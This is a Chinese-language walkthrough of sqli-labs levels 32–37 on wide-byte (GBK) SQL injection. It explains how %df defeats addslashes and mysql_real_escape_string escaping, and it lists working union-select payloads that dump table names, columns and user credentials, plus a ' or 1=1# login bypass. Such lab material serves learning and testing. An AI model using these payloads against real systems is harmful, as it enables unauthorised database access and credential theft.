宽字节注入
什么是宽字节?
如果一个字符的大小是一个字节的,称为窄字节;如果一个字符的大小是两个字节的,成为宽字节
- 像GB2312、GBK、GB18030、BIG5、Shift_JIS等这些编码都是常说的宽字节,也就是只有两字节
- 英文默认占一个字节,中文占两个字节
宽字节注入原理
sql注入很关键的一步就是让引号闭合和跳出引号,如果无法跳出引号,那么你输入的内容就永远在引号里,你输出的内容就永远都是字符串
php里面有个转义符\
对输入的敏感信息和特殊字符进行转义
就是的单引号'
被转义后变成了\'
那么我们输入的内容被转义后就之被当作了一个字符串,无法实现包裹字符串的作用了,所以宽字节注入就是让转义失去转义的作用
\
转义符通过编码为%5c
,找到另一半让他们组成一个新的字符%df%5c
就行了
%df
与反斜杠的 URL 编码 %5C
闭合,从而构成 GBK 国标码中的汉字“連”,使得用于转义的反斜杠被我们“吃掉”了。
Less_32
可以看到虽然输入?id=1'
的时候页面没有报错,但是可以看到我们的单引号是被转义掉了的
在使用单引号的时候使用宽字节注入即可
?id=1%df' order by 4--+
?id=-1%df' union select 1,database(),3--+
?id=-1%df' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+
注意此处数据库名要用十六进制 (HEX) 编码替代,避免单引号的使用。
?id=-1%df' union select 1,group_concat(column_name),3 from information_schema.columns where table_name=0x7573657273--+
?id=-1%df' union select 1,group_concat(username,password),3 from security.users--+
Less_33
和上道题一样,还是单引号注入,但是对单引号进行了转义
function check_addslashes($string)
{
$string= addslashes($string);
return $string;
}
看一下源码
addslashes:返回需要在转义字符前添加反斜线的字符串:
这些字符是
单引号(')
双引号(")
反斜线(\)
NUL(NUL 字节)
还是用%df
将其绕过即可
Less_34
这道题是一个POST型的注入,也同样的对单引号进行了转义的处理,上面我们是将过滤函数添加的\
给吃掉了。但是 get型的方式我们是以url的形式提交的,因此数据会通过URLencode。
若要用到post型的注入中,我们将utf-8转换成utf-16或者utf-32 可以将 '
转为utf-16变成 �
用万能密码�' or 1=1#
可以看到成功登录
原始的sql语句为:
SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1
然后输入后变成了
SELECT username, password FROM users WHERE username='�' or 1=1#' and password='1' LIMIT 0,1
可以看到前面成功闭合,然后#
将后面的语句给注释掉了,所以成功登录
Less_35
可以先尝试一下
然后查看源码:
SELECT * FROM users WHERE id=$id LIMIT 0,1
可以看到id
并没有被'和 "
所包围,所以其实可以不用管addslashes
函数
然后按第一题的方式写就行
?id=1 order by 4--+
?id=-1 union select 1,database(),3--+
?id=-1'union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+
?id=-1'union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+
?id=-1 union select 1,group_concat(username,password),3 from security.users--+
Less_36
还是单引号注入,进行了字符的转义,进行宽字节注入就行,还是用上面的方法写
查看一下源代码:
function check_quotes($string)
{
$string= mysql_real_escape_string($string);
return $string;
}
check_quotes
函数利用mysql_real_escape_string
函数进行过滤
mysql_real_escape_string — 将字符串中的特殊字符进行转义,以在 SQL 语句中使用
在以下字符前添加反斜线:\x00
、\n
、\r
、\
、'
、"
和 \x1a
Less_37
可以用34题的万能密码
因为与34题不同的只有函数过滤的方法不同
34题是addslashes
37题是mysql_real_escape_string
,但是原理是差不多的
然后也可以抓个包
uname=1%df'&passwd=1&submit=Submit
有报错信息
注释掉后,发现登陆错误
uname=1%df' order by 3--+&passwd=1&submit=Submit
uname=-1%df' union select 1,2
uname=-1%df' union select 1,database()--+&passwd=1&submit=Submit
uname=-1%df' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()--+&passwd=1&submit=Submit
uname=-1%df' union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273--+&passwd=1&submit=Submit
uname=-1%df' union select 1,group_concat(username,password) from security.users--+&passwd=1&submit=Submit